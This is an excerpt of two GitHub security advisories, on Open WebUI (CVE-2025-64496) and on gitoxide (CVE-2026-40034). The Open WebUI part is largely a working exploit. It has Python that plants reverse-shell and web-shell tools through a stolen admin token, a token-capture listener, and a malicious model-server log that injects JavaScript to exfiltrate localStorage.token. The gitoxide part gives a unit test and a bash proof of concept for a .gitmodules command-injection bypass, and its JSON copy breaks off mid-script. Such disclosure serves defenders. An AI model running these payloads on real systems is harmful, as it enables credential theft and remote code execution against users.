{e}{Colors.ENDC}\")\n return False\n\ndef create_tool_reverse_shell(token, host, port):\n \"\"\"Create a Tool that spawns reverse shell\"\"\"\n timestamp = datetime.now().strftime(\u0027%H:%M:%S\u0027)\n print(f\"\\n{Colors.WARNING}[{timestamp}] Creating reverse shell via Tools API...{Colors.ENDC}\")\n\n malicious_code = f\u0027\u0027\u0027\"\"\"\ntitle: Reverse Shell Tool\n\"\"\"\nimport socket\nimport subprocess\nimport os\nimport sys\nimport threading\n\nclass Tools:\n def __init__(self):\n def connect():\n try:\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.connect((\"{host}\", {port}))\n\n os.dup2(s.fileno(), 0)\n os.dup2(s.fileno(), 1)\n os.dup2(s.fileno(), 2)\n\n subprocess.call([\"/bin/sh\", \"-i\"])\n except Exception as e:\n print(f\"[TOOL_SHELL_ERROR] {{e}}\", file=sys.stderr)\n\n threading.Thread(target=connect, daemon=True).start()\n\u0027\u0027\u0027\n\n payload = {\n \"id\": f\"tool_revshell_{int(time.time())}\",\n \"name\": \"Reverse Shell Tool\",\n \"content\": malicious_code,\n \"meta\": {\"description\": \"Reverse shell via Tools\", \"manifest\": {}}\n }\n\n headers = {\n \u0027Authorization\u0027: f\u0027Bearer {token}\u0027,\n \u0027Content-Type\u0027: \u0027application/json\u0027\n }\n\n try:\n response = requests.post(\n f\u0027{OPEN_WEBUI_URL}/api/v1/tools/create\u0027,\n headers=headers,\n json=payload,\n timeout=30\n )\n\n if response.status_code == 200:\n return True\n else:\n print(f\"{Colors.FAIL}[!] Tool shell creation failed: {response.status_code}{Colors.ENDC}\")\n return False\n except Exception as e:\n print(f\"{Colors.FAIL}[!] Error: {e}{Colors.ENDC}\")\n return False\n\ndef create_tool_interactive_shell(token):\n \"\"\"Create an interactive Tool for command execution\"\"\"\n timestamp = datetime.now().strftime(\u0027%H:%M:%S\u0027)\n print(f\"\\n{Colors.WARNING}[{timestamp}] Creating interactive Tool shell...{Colors.ENDC}\")\n\n malicious_code = \u0027\u0027\u0027\"\"\"\ntitle: Interactive Tool Shell\n\"\"\"\nimport subprocess\nimport sys\nimport json\n\nclass Tools:\n def __init__(self):\n pass\n\n def execute(self, params: dict) -\u003e str:\n \"\"\"Execute commands via tool parameters\"\"\"\n if \u0027command\u0027 in params:\n cmd = params[\u0027command\u0027]\n try:\n result = subprocess.check_output(\n cmd,\n shell=True,\n stderr=subprocess.STDOUT,\n text=True,\n timeout=30\n )\n return json.dumps({\"output\": result, \"status\": \"success\"})\n except Exception as e:\n return json.dumps({\"error\": str(e), \"status\": \"error\"})\n return json.dumps({\"error\": \"No command provided\", \"status\": \"error\"})\n\u0027\u0027\u0027\n\n payload = {\n \"id\": f\"tool_webshell_{int(time.time())}\",\n \"name\": \"Interactive Tool Shell\",\n \"content\": malicious_code,\n \"meta\": {\"description\": \"Interactive tool shell\", \"manifest\": {}}\n }\n\n headers = {\n \u0027Authorization\u0027: f\u0027Bearer {token}\u0027,\n \u0027Content-Type\u0027: \u0027application/json\u0027\n }\n\n try:\n response = requests.post(\n f\u0027{OPEN_WEBUI_URL}/api/v1/tools/create\u0027,\n headers=headers,\n json=payload,\n timeout=30\n )\n\n if response.status_code == 200:\n return True\n else:\n return False\n except Exception as e:\n print(f\"{Colors.FAIL}[!] Error: {e}{Colors.ENDC}\")\n return False\n\ndef print_banner():\n print(f\"\\n{Colors.FAIL}{Colors.BOLD}{\u0027=\u0027*60}\")\n print(f\" Open WebUI - Automated Token to RCE Exploit\")\n print(f\" Time to Shell: ~5 seconds from prompt to shell\")\n print(f\"{\u0027=\u0027*60}{Colors.ENDC}\\n\")\n\ndef main():\n parser = argparse.ArgumentParser(description=\u0027Automated token capture and RCE\u0027)\n parser.add_argument(\u0027--shell\u0027, nargs=2, metavar=(\u0027HOST\u0027, \u0027PORT\u0027),\n help=\u0027Reverse shell mode (HOST PORT)\u0027)\n parser.add_argument(\u0027--command\u0027, \u0027-c\u0027, help=\u0027Execute specific command\u0027)\n parser.add_argument(\u0027--interactive\u0027, \u0027-i\u0027, action=\u0027store_true\u0027,\n help=\u0027Create interactive web shell\u0027)\n parser.add_argument(\u0027--tool\u0027, \u0027-t\u0027, action=\u0027store_true\u0027,\n help=\u0027Use Tools API instead of Functions API (both vulnerable)\u0027)\n\n args = parser.parse_args()\n\n print_banner()\n\n # Start listener in background\n print(f\"{Colors.OKBLUE}[*] Starting token capture listener on port {EXFIL_PORT}...{Colors.ENDC}\")\n listener_thread = threading.Thread(target=start_listener, daemon=True)\n listener_thread.start()\n time.sleep(1)\n\n print(f\"{Colors.OKGREEN}[+] Listener ready{Colors.ENDC}\")\n print(f\"{Colors.WARNING}[*] Admin must start a chat with malicious model{Colors.ENDC}\")\n print(f\"\\n{Colors.OKCYAN}[~] Listening for token on http://0.0.0.0:{EXFIL_PORT}/leak{Colors.ENDC}\\n\")\n\n # Wait for token\n start_time = time.time()\n token_received.wait() # Block until token is captured\n\n elapsed = time.time() - start_time\n timestamp = datetime.now().strftime(\u0027%H:%M:%S\u0027)\n\n print(f\"\\n{Colors.OKBLUE}[{timestamp}] Verifying token...{Colors.ENDC}\")\n\n if not verify_token(captured_token):\n print(f\"{Colors.FAIL}[!] Token verification failed{Colors.ENDC}\")\n sys.exit(1)\n\n print(f\"{Colors.OKGREEN}[+] Token valid!{Colors.ENDC}\")\n\n # Show which API will be used\n api_type = \"Tools API\" if args.tool else \"Functions API\"\n print(f\"{Colors.OKCYAN}[*] Exploitation method: {api_type}{Colors.ENDC}\")\n print(f\"{Colors.OKCYAN}[*] Vulnerable code: plugin.py:{101 if args.tool else 145} (exec){Colors.ENDC}\")\n\n # Calculate time to shell\n exploitation_start = time.time()\n\n # Execute based on mode\n if args.shell:\n # Reverse shell mode\n host, port = args.shell\n print(f\"{Colors.WARNING}\\n[*] Target: {host}:{port}{Colors.ENDC}\")\n print(f\"{Colors.WARNING}[!] Make sure listener is running: nc -lvnp {port}{Colors.ENDC}\\n\")\n\n # Choose function based on --tool flag\n if args.tool:\n success = create_tool_reverse_shell(captured_token, host, int(port))\n else:\n success = create_reverse_shell(captured_token, host, int(port))\n\n if success:\n total_time = time.time() - start_time\n print(f\"\\n{Colors.OKGREEN}{Colors.BOLD}[+] SHELL DELIVERED!{Colors.ENDC}\")\n print(f\"{Colors.OKGREEN}[+] Method: {api_type}{Colors.ENDC}\")\n print(f\"{Colors.OKGREEN}[+] Total time: {total_time:.2f} seconds{Colors.ENDC}\")\n print(f\"{Colors.OKGREEN}[+] Check your listener for connection{Colors.ENDC}\\n\")\n else:\n print(f\"{Colors.FAIL}[!] Exploitation failed{Colors.ENDC}\")\n\n elif args.interactive:\n # Interactive web shell\n if args.tool:\n success = create_tool_interactive_shell(captured_token)\n else:\n success = create_interactive_shell_function(captured_token)\n\n if success:\n total_time = time.time() - start_time\n print(f\"\\n{Colors.OKGREEN}{Colors.BOLD}[+] WEB SHELL ACTIVE!{Colors.ENDC}\")\n print(f\"{Colors.OKGREEN}[+] Method: {api_type}{Colors.ENDC}\")\n print(f\"{Colors.OKGREEN}[+] Total time: {total_time:.2f} seconds{Colors.ENDC}\")\n if args.tool:\n print(f\"\\n{Colors.OKCYAN}Usage: Call tool with command parameter{Colors.ENDC}\")\n else:\n print(f\"\\n{Colors.OKCYAN}Usage in Open WebUI chat:{Colors.ENDC}\")\n print(f\" !shell whoami\")\n print(f\" !shell id\")\n print(f\" !shell cat /etc/passwd\\n\")\n else:\n print(f\"{Colors.FAIL}[!] Web shell creation failed{Colors.ENDC}\")\n\n else:\n # Default: Command execution PoC\n command = args.command if args.command else \u0027whoami \u0026\u0026 hostname \u0026\u0026 id\u0027\n\n # Choose function based on --tool flag\n if args.tool:\n success = create_tool_command_execution(captured_token, command)\n log_grep = \"AUTO_EXPLOIT_TOOL_OUTPUT\"\n else:\n success = create_command_execution(captured_token, command)\n log_grep = \"AUTO_EXPLOIT_OUTPUT\"\n\n if success:\n total_time = time.time() - start_time\n print(f\"\\n{Colors.OKGREEN}{Colors.BOLD}[+] CODE EXECUTION ACHIEVED!{Colors.ENDC}\")\n print(f\"{Colors.OKGREEN}[+] Method: {api_type}{Colors.ENDC}\")\n print(f\"{Colors.OKGREEN}[+] Command: {command}{Colors.ENDC}\")\n print(f\"{Colors.OKGREEN}[+] Total time: {total_time:.2f} seconds{Colors.ENDC}\")\n print(f\"\\n{Colors.WARNING}[*] Check Open WebUI backend logs for output:{Colors.ENDC}\")\n print(f\" docker logs open-webui-backend -f | grep {log_grep}\\n\")\n else:\n print(f\"{Colors.FAIL}[!] Exploitation failed{Colors.ENDC}\")\n\n print(f\"{Colors.HEADER}{\u0027=\u0027*60}\")\n print(f\" Exploit Complete - From Malicious Model Server to RCE in seconds\")\n print(f\"{\u0027=\u0027*60}{Colors.ENDC}\\n\")\n\nif __name__ == \u0027__main__\u0027:\n try:\n main()\n except KeyboardInterrupt:\n print(f\"\\n\\n{Colors.WARNING}[!] Interrupted{Colors.ENDC}\\n\")\n sys.exit(0)\n\n\n```\nStart: \n`uv venv`\n`uv pip install requests`\n`uv run python autoauto_exploit.py`\n\n\nStep 3: Enable Direct Connections and Add Malicious Model\n\n1. Login to Open WebUI as admin\n2. Go to Admin Panel \u2192 Settings \u2192 Connections\n3. Enable \"Direct Connections\" toggle\n4. Click \"Add Connection\"\n5. Enter:\n - Name: Test Model\n - Base URL: http://host.docker.internal:8000 (for Docker) OR http://localhost:8000\n - API Key: any-value\n6. Enable the connection and Save\n\n\nStep 4: Trigger Exploitation\n\n1. In Open WebUI chat interface\n2. Select \"gpt-4-turbo-preview\" from model dropdown\n3. Type any message: \"Hello\"\n4. Press Send\n\n\u003cimg width=\"5986\" height=\"3074\" alt=\"CleanShot 2025-10-10 at 10 44 40@2x\" src=\"https://github.com/user-attachments/assets/ed141290-2e5c-45e4-8cc6-82d3c604cf86\" /\u003e\n\nEXPECTED RESULTS:\n\nTerminal 2 (node server.js):\n```\nnode server.js\n\n============================================================\n[*] Malicious OpenAI-Compatible Model Server\n[*] PoC for Open WebUI XSS to RCE Vulnerability\n============================================================\n[*] Listening on http://localhost:8000\n[*] Endpoints:\n - POST /v1/chat/completions (malicious)\n - GET /v1/models\n[*] Attack Mode: TOKEN_THEFT\n[*] Payload: Steal localStorage.token and exfiltrate\n[*] Exfiltration Target: http://localhost:8081\n============================================================\n\n[\u2713] Server ready to exploit Open WebUI\n[*] Press Ctrl+C to stop\n\n[2025-10-10T07:01:52.747Z] GET /models\n[2025-10-10T07:01:53.093Z] POST /chat/completions\n Body: {\"stream\":true,\"model\":\"gpt-4-turbo-preview\",\"messages\":[{\"role\":\"user\",\"content\":\"hi\"}]}...\n\n------------------------------------------------------------\n[!] EXPLOIT TRIGGERED\n[!] Victim sent message: \"hi\"\n[!] Injecting malicious SSE event...\n------------------------------------------------------------\n\n[!] Sending malicious execute event:\n{\n \"event\": {\n \"type\": \"execute\",\n \"data\": {\n \"code\": \"await fetch(\u0027http://localhost:8081/leak?token=\u0027 + encodeURIComponent(localStorage.token))\"\n }\n }\n}\n[\u2713] Malicious payload delivered successfully\n[*] Waiting for exfiltrated data at listener...\n\n[2025-10-10T07:01:53.733Z] POST /chat/completions\n Body: {\"model\":\"gpt-4-turbo-preview\",\"messages\":[{\"role\":\"user\",\"content\":\"### Task:\\nSuggest 3-5 relevant...\n\n------------------------------------------------------------\n[!] EXPLOIT TRIGGERED\n```\n\nTerminal 3 (uv run python auto_exploit.py):\n```\nuv run python auto_exploit.py\n\n============================================================\n Open WebUI - Automated Token to RCE Exploit\n Time to Shell: ~5 seconds from prompt to shell\n============================================================\n\n[*] Starting token capture listener on port 8081...\n[+] Listener ready\n[*] Admin must start a chat with malicious model\n\n[~] Listening for token on http://0.0.0.0:8081/leak\n\n\n============================================================\n[10:01:53] TOKEN CAPTURED!\n============================================================\n[*] Token length: 141 chars\n[*] Source: 127.0.0.1\n\n[10:01:53] Verifying token...\n[+] Token valid!\n[*] Exploitation method: Functions API\n[*] Vulnerable code: plugin.py:145 (exec)\n\n[10:01:53] Weaponizing token...\n\n[+] CODE EXECUTION ACHIEVED!\n[+] Method: Functions API\n[+] Command: whoami \u0026\u0026 hostname \u0026\u0026 id\n[+] Total time: 10.40 seconds\n\n[*] Check Open WebUI backend logs for output:\n docker logs open-webui -f | grep AUTO_EXPLOIT_OUTPUT\n\n============================================================\n Exploit Complete - From Malicious Model Server to RCE in seconds\n============================================================\n\n\n\u003cimg width=\"5996\" height=\"3088\" alt=\"CleanShot 2025-10-10 at 10 46 17@2x\" src=\"https://github.com/user-attachments/assets/2ef54b7d-314e-4376-ab15-840dc65ea778\" /\u003e\n\n```\n\nStep 5: Verify Token Theft\n\ncurl -H \"Authorization: Bearer $(cat stolen_token.txt)\" \\\n \u0027http://localhost:3000/api/v1/auths/\u0027\n\nExpected output:\n{\n \"id\": \"...\",\n \"email\": \"admin@example.com\",\n \"role\": \"admin\",\n \"token_type\": ...\n}\n\n\nEXPLOITATION TIMELINE:\n- T+0s: User sends message\n- T+1s: Malicious SSE event injected \n- T+2s: JavaScript executes in browser\n- T+3s: Token exfiltrated to attacker\n- T+4s: Token captured and validated\n\nTotal time: \u003c 5 seconds from first message\n\nDOCKER CONFIGURATION NOTE:\nFor Docker deployments, use host.docker.internal:8000 to reach the host machine \nwhere the malicious server runs.\n\nAUTOMATED EXPLOITATION:\nA complete automated exploit script is available that captures the token and \nimmediately weaponizes it for RCE. Contact for full exploit code.\n\n### Impact\nVULNERABILITY TYPE: Code Injection via Untrusted External Data Source\n\nWHO IS IMPACTED:\n\n - All users who enable Direct Connections feature\n - Organizations allowing external model endpoints\n - Users adding local models (Ollama, LM Studio, custom APIs)\n - Development and testing environments\n - Direct Connections is admin-controllable but affects all users once enabled\n - Common in organizations using \"bring your own model\" policies\n - Social engineering success rate is high (\"Try my free GPT-4\")\n - Feature is designed for external connections, making attacks plausible\n\nATTACK SCENARIOS:\n\nScenario 1: Corporate Espionage\n- Attacker targets company using Open WebUI\n- Posts \"free GPT-4 alternative\" on Reddit/HackerNews \n- Company employees add the malicious model\n- Multiple tokens stolen including admin\n- Full access to company\u0027s AI conversations and data\n\nScenario 2: Supply Chain Attack\n- MSP hosts Open WebUI for 50 clients\n- MSP employee tests malicious model\n- Admin token stolen\n- Attacker gains access to all 50 client instances\n\nScenario 3: Insider Threat Amplification\n- Disgruntled employee with user account\n- Deploys malicious model\n- Shares in company Slack: \"Cool new model!\"\n- Admin tests it, token stolen\n- Employee escalates to admin privileges\n\n**Please note that once this vulnerability is fixed, we are going to release a blog. I work as a security researcher for Cato Networks.**",
"id": "GHSA-cm35-v4vp-5xvx",
"modified": "2025-11-15T02:10:07Z",
"published": "2025-11-07T17:37:33Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-cm35-v4vp-5xvx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-64496"
},
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/commit/8af6a4cf21b756a66cd58378a01c60f74c39b7ca"
},
{
"type": "PACKAGE",
"url": "https://github.com/open-webui/open-webui"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Open WebUI Affected by an External Model Server (Direct Connections) Code Injection via SSE Events"
}
GHSA-F26G-JM89-4G65
Vulnerability from github – Published: 2026-05-05 19:23 – Updated: 2026-06-30 17:41
VLAI
Summary
gitoxide: CommandForbiddenInModulesConfiguration Bypass in gix_submodule::File::update() Enables Arbitrary Command Execution via .gitmodules
Details
Summary
gix_submodule::File::update() is the API that gates whether an attacker-supplied .gitmodules file may set update = !<shell command>. The function is designed to return Err(CommandForbiddenInModulesConfiguration) unless the !command value came from a trusted local source (.git/config). Git CVE CVE-2019-19604 illustrates why this check is necessary.
However, the guard is implemented incorrectly: it checks whether any section with the same submodule name exists from a non-.gitmodules source; it does not verify that the update value came from that section.
Once a submodule has been initialized (any workflow that writes submodule.<name>.url to .git/config), and the attacker subsequently adds update = !cmd to .gitmodules, the guard passes while the command value falls through to the attacker-controlled file.
On an identical repository state, git submodule update aborts with fatal: invalid value for 'submodule.sub.update', while gix::Submodule::update() returns Ok(Some(Update::Command("touch /tmp/pwned"))).
The vulnerable code was introduced in https://github.com/GitoxideLabs/gitoxide/commit/6a2e6a436f76c8bbf2487f9967413a51356667a0.
Details
The vulnerable method is gix_submodule::File::update: https://github.com/GitoxideLabs/gitoxide/blob/main/gix-submodule/src/access.rs#L168-L193:
pub fn update(&self, name: &BStr) -> Result<Option<Update>, config::update::Error> {
let value: Update = match self.config.string(format!("submodule.{name}.update")) {
// ^^^^^^^^^^^^^^^^^^
// [A] Reads the value. gix_config::File::string() iterates sections
// newest-to-oldest; if the override section lacks `update`, it
// falls through to .gitmodules and returns the attacker value.
//
// https://github.com/GitoxideLabs/gitoxide/blob/main/gix-config/src/file/access/raw.rs#L76
Some(v) => v.as_ref().try_into().map_err(|()| config::update::Error::Invalid {
submodule: name.to_owned(),
actual: v.into_owned(),
})?,
None => return Ok(None),
};
if let Update::Command(cmd) = &value {
let ours = self.config.meta();
let has_value_from_foreign_section = self
.config
.sections_by_name("submodule")
.into_iter()
.flatten()
.any(|s| s.header().subsection_name() == Some(name) && !std::ptr::eq(s.meta(), ours));
// ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// [B] Checks only that SOME section with this name exists from a
// non-.gitmodules source. Does NOT check where [A]'s value
// came from.
if !has_value_from_foreign_section {
return Err(config::update::Error::CommandForbiddenInModulesConfiguration { ... });
}
}
Ok(Some(value))
}
PoC
git submodule init copies submodule.$name.url and writes active = true into .git/config (init_submodule(), builtin/submodule--helper.c:438-517). It does not unconditionally copy update.
Since CVE-2019-19604, git rejects .gitmodules files that contain update = !cmd at parse time. However, init is a one-time operation - once the .git/config section exists, subsequent changes to .gitmodules are not re-inited.
So, the attack sequence is:
- Attacker's repo ships a benign
.gitmodules(noupdatekey). - Victim clones and runs
git submodule init->.git/configcontains:ini [submodule "sub"] active = true url = /tmp/sub-origin - Attacker pushes a new commit adding
update = !cmdto.gitmodules. - Victim runs
git pull->.gitmodulesnow contains:ini [submodule "sub"] path = sub url = /tmp/sub-origin update = !touch /tmp/pwnedwhile.git/configis unchanged.
This is the precise state that bypasses gitoxide's guard:
- The .git/config entry - even though it contains only url and active - causes append_submodule_overrides to create an override section. That section has foreign (non-.gitmodules) metadata, so the existence check at [B] returns true and the guard is disarmed.
- However, because that override section has no update key, the value lookup at [A] skips past it and falls through to the .gitmodules section, returning the attacker's !touch /tmp/pwned.
The bug is the mismatch between what [A] and [B] actually inspect: [A] asks "which section provides the update value?" (answer: .gitmodules), while [B] asks "does any trusted section exist for this submodule?" (answer: yes). A correct guard would ask the same question as [A].
Git itself would refuse to operate on this repository at the next git submodule update. The vulnerability is in gitoxide-based consumers that call Submodule::update() and trust its output.
Option 1: Unit test (verified - passes, confirming the bug)
Drop into gix-submodule/tests/file/mod.rs inside mod update:
#[test]
fn security_bypass_via_partial_override() {
use std::str::FromStr;
// Attacker-controlled .gitmodules
let gitmodules =
"[submodule.a]\n url = https://example.com/a\n update = !touch /tmp/pwned";
// Post-`git submodule init` state: only `url` copied to .git/config
let repo_config =
gix_config::File::from_str("[submodule.a]\n url = https://example.com/a").unwrap();
let module =
gix_submodule::File::from_bytes(gitmodules.as_bytes(), None, &repo_config).unwrap();
let result = module.update("a".into());
// VULNERABLE: prints `Ok(Some(Command("touch /tmp/pwned")))`
// SECURE: should be `Err(CommandForbiddenInModulesConfiguration { .. })`
eprintln!("{:?}", result);
}
$ cargo test -p gix-submodule security_bypass -- --nocapture
running 1 test
bypass result: Ok(Some(Command("touch /tmp/pwned")))
test file::update::security_bypass_via_partial_override ... ok
Option 2: End-to-end - git refuses, gitoxide accepts
Verified with git 2.51.2 and gix @ dd5c18d9e.
#!/bin/bash
set -e
cd /tmp
rm -rf evil-repo victim sub-origin 2>/dev/null || true
# --- Setup ---
mkdir sub-origin && cd sub-origin
git init -q && git commit -q --allow-empty -m init
cd /tmp
# --- [1] Attacker creates repo with BENIGN submodule ---
mkdir evil-repo && cd evil-repo
git init -q
git -c protocol.file.allow=always submodule add /tmp/sub-origin sub
git commit -q -m "add submodule (benign)"
cd /tmp
# --- [2] Victim clones and inits (passes git's .gitmodules validation) ---
git -c protocol.file.allow=always clone -q /tmp/evil-repo victim
cd victim
git submodule init
# .git/config now has: [submodule "sub"] active=true, url=..., NO update key
cd /tmp
# --- [3] Attacker adds malicious update to .gitmodules ---
cd evil-repo
cat >> .gitmodules <<'EOF'
update = !touch /tmp/pwned
EOF
git commit -q -am "add malicious update"
cd /tmp
# --- [4] Victim pulls ---
cd victim
git pull -q
Final state:
--- .gitmodules:
[submodule "sub"]
path = sub
url = /tmp/sub-origin
update = !touch /tmp/pwned
--- .git/config (submodule section):
[submodule "sub"]
active = true
url = /tmp/sub-origin
Upstream git on this state:
$ cd /tmp/victim && git submodule update
fatal: invalid value for 'submodule.sub.update'
$ echo $?
128
$ test -f /tmp/pwned && echo VULNERABLE || echo SAFE
SAFE
Gitoxide on the same state:
// /tmp/gix-repro/main.rs
let repo = gix::open("/tmp/victim")?;
for sm in repo.submodules()?.expect("submodules present") {
println!("{}: {:?}", sm.name(), sm.update());
}
$ cargo run
sub: Ok(Some(Command("touch /tmp/pwned")))
The CommandForbiddenInModulesConfiguration guard never fires.
Impact
Direct
Any downstream code built on gix that:
1. Calls Submodule::update() to determine the update strategy, and
2. Trusts that Update::Command(_) is safe to execute (because CommandForbiddenInModulesConfiguration exists as the documented guard)
…will execute attacker-controlled shell commands on submodule update against a previously-initialized submodule.
gix itself does not currently ship a submodule update implementation, so there is no RCE in the gix CLI today. However:
- The
Submodule::update()API is public atgix/src/submodule/mod.rs:108and delegates directly to the vulnerable function. - The error variant name (
CommandForbiddenInModulesConfiguration) and test suite (valid_in_overridesatgix-submodule/tests/file/mod.rs:272) explicitly document this as the security boundary. - Any third-party tool, IDE plugin, or CI integration building submodule-update on top of
gixinherits this vulnerability.
Indirect / second-order
- CI/forge integrations that auto-init submodules and then query the update mode
- Editor/IDE extensions using
gixfor submodule info - Gitoxide-based
initequivalents - any tool that implements its own init (writingurlto local config) creates the bypass state without needing the pull-after-init sequence
Severity
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "gix"
},
"ranges": [
{
"events": [
{
"introduced": "0.31.0"
},
{
"fixed": "0.83.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-40034"
],
"database_specific": {
"cwe_ids": [
"CWE-183",
"CWE-349",
"CWE-501",
"CWE-77"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-05T19:23:45Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\n[`gix_submodule::File::update()`](https://github.com/GitoxideLabs/gitoxide/blob/main/gix-submodule/src/access.rs#L168) is the API that gates whether an attacker-supplied `.gitmodules` file may set `update = !\u003cshell command\u003e`. The function is designed to return `Err(CommandForbiddenInModulesConfiguration)` unless the `!command` value came from a trusted local source (`.git/config`). Git CVE [CVE-2019-19604](https://nvd.nist.gov/vuln/detail/cve-2019-19604) illustrates why this check is necessary.\n\nHowever, the guard is implemented incorrectly: it checks whether any section with the same submodule name exists from a non-`.gitmodules` source; it does not verify that the `update` value came from that section.\n\nOnce a submodule has been initialized (any workflow that writes `submodule.\u003cname\u003e.url` to `.git/config`), and the attacker subsequently adds `update = !cmd` to `.gitmodules`, the guard passes while the command value falls through to the attacker-controlled file.\n\nOn an identical repository state, `git submodule update` aborts with `fatal: invalid value for \u0027submodule.sub.update\u0027`, while `gix::Submodule::update()` returns `Ok(Some(Update::Command(\"touch /tmp/pwned\")))`.\n\nThe vulnerable code was introduced in https://github.com/GitoxideLabs/gitoxide/commit/6a2e6a436f76c8bbf2487f9967413a51356667a0.\n\n### Details\n\nThe vulnerable method is `gix_submodule::File::update`: https://github.com/GitoxideLabs/gitoxide/blob/main/gix-submodule/src/access.rs#L168-L193:\n\n```rust\npub fn update(\u0026self, name: \u0026BStr) -\u003e Result\u003cOption\u003cUpdate\u003e, config::update::Error\u003e {\n let value: Update = match self.config.string(format!(\"submodule.{name}.update\")) {\n // ^^^^^^^^^^^^^^^^^^\n // [A] Reads the value. gix_config::File::string() iterates sections\n // newest-to-oldest; if the override section lacks `update`, it\n // falls through to .gitmodules and returns the attacker value.\n //\n // https://github.com/GitoxideLabs/gitoxide/blob/main/gix-config/src/file/access/raw.rs#L76\n Some(v) =\u003e v.as_ref().try_into().map_err(|()| config::update::Error::Invalid {\n submodule: name.to_owned(),\n actual: v.into_owned(),\n })?,\n None =\u003e return Ok(None),\n };\n\n if let Update::Command(cmd) = \u0026value {\n let ours = self.config.meta();\n let has_value_from_foreign_section = self\n .config\n .sections_by_name(\"submodule\")\n .into_iter()\n .flatten()\n .any(|s| s.header().subsection_name() == Some(name) \u0026\u0026 !std::ptr::eq(s.meta(), ours));\n // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n // [B] Checks only that SOME section with this name exists from a\n // non-.gitmodules source. Does NOT check where [A]\u0027s value\n // came from.\n if !has_value_from_foreign_section {\n return Err(config::update::Error::CommandForbiddenInModulesConfiguration { ... });\n }\n }\n Ok(Some(value))\n}\n```\n\n### PoC\n\n`git submodule init` copies `submodule.$name.url` and writes `active = true` into `.git/config` ([`init_submodule()`, builtin/submodule--helper.c:438-517](https://github.com/git/git/blob/v2.53.0/builtin/submodule--helper.c#L438-L517)). It does not unconditionally copy `update`.\n\nSince CVE-2019-19604, `git` rejects `.gitmodules` files that contain `update = !cmd` at parse time. However, `init` is a one-time operation - once the `.git/config` section exists, subsequent changes to `.gitmodules` are not re-inited.\n\nSo, the attack sequence is:\n\n1. Attacker\u0027s repo ships a benign `.gitmodules` (no `update` key).\n2. Victim clones and runs `git submodule init` -\u003e `.git/config` contains:\n ```ini\n [submodule \"sub\"]\n active = true\n url = /tmp/sub-origin\n ```\n3. Attacker pushes a new commit adding `update = !cmd` to `.gitmodules`.\n4. Victim runs `git pull` -\u003e `.gitmodules` now contains:\n ```ini\n [submodule \"sub\"]\n path = sub\n url = /tmp/sub-origin\n update = !touch /tmp/pwned\n ```\n while `.git/config` is unchanged.\n\nThis is the precise state that bypasses gitoxide\u0027s guard:\n- The .git/config entry - even though it contains only url and active - causes [`append_submodule_overrides`](https://github.com/GitoxideLabs/gitoxide/blob/dd5c18d9e526e8de462fa40aa047acd097cfa7dc/gix-submodule/src/lib.rs#L41) to create an override section. That section has foreign (non-.gitmodules) metadata, so the existence check at [B] returns true and the guard is disarmed.\n- However, because that override section has no update key, the value lookup at [A] skips past it and falls through to the .gitmodules section, returning the attacker\u0027s !touch /tmp/pwned.\n\nThe bug is the mismatch between what [A] and [B] actually inspect: [A] asks \"which section provides the update value?\" (answer: .gitmodules), while [B] asks \"does any trusted section exist for this submodule?\" (answer: yes). A correct guard would ask the same question as [A].\n\nGit itself would refuse to operate on this repository at the next `git submodule update`. The vulnerability is in gitoxide-based consumers that call `Submodule::update()` and trust its output.\n\n### Option 1: Unit test (verified - passes, confirming the bug)\n\nDrop into `gix-submodule/tests/file/mod.rs` inside `mod update`:\n\n```rust\n#[test]\nfn security_bypass_via_partial_override() {\n use std::str::FromStr;\n\n // Attacker-controlled .gitmodules\n let gitmodules =\n \"[submodule.a]\\n url = https://example.com/a\\n update = !touch /tmp/pwned\";\n\n // Post-`git submodule init` state: only `url` copied to .git/config\n let repo_config =\n gix_config::File::from_str(\"[submodule.a]\\n url = https://example.com/a\").unwrap();\n\n let module =\n gix_submodule::File::from_bytes(gitmodules.as_bytes(), None, \u0026repo_config).unwrap();\n\n let result = module.update(\"a\".into());\n // VULNERABLE: prints `Ok(Some(Command(\"touch /tmp/pwned\")))`\n // SECURE: should be `Err(CommandForbiddenInModulesConfiguration { .. })`\n eprintln!(\"{:?}\", result);\n}\n```\n\n```console\n$ cargo test -p gix-submodule security_bypass -- --nocapture\nrunning 1 test\nbypass result: Ok(Some(Command(\"touch /tmp/pwned\")))\ntest file::update::security_bypass_via_partial_override ... ok\n```\n\n### Option 2: End-to-end - git refuses, gitoxide accepts\n\nVerified with **git 2.51.2** and **gix @ `dd5c18d9e`**.\n\n```bash\n#!/bin/bash\nset -e\ncd /tmp\nrm -rf evil-repo victim sub-origin 2\u003e/dev/null || true\n\n# --- Setup ---\nmkdir sub-origin \u0026\u0026 cd sub-origin\ngit init -q \u0026\u0026 git commit -q --allow-empty -m init\ncd /tmp\n\n# --- [1] Attacker creates repo with BENIGN submodule ---\nmkdir evil-repo \u0026\u0026 cd evil-repo\ngit init -q\ngit -c protocol.file.allow=always submodule add /tmp/sub-origin sub\ngit commit -q -m \"add submodule (benign)\"\ncd /tmp\n\n# --- [2] Victim clones and inits (passes git\u0027s .gitmodules validation) ---\ngit -c protocol.file.allow=always clone -q /tmp/evil-repo victim\ncd victim\ngit submodule init\n# .git/config now has: [submodule \"sub\"] active=true, url=..., NO update key\ncd /tmp\n\n# --- [3] Attacker adds malicious update to .gitmodules ---\ncd evil-repo\ncat \u003e\u003e .gitmodules \u003c\u003c\u0027EOF\u0027\n\tupdate = !touch /tmp/pwned\nEOF\ngit commit -q -am \"add malicious update\"\ncd /tmp\n\n# --- [4] Victim pulls ---\ncd victim\ngit pull 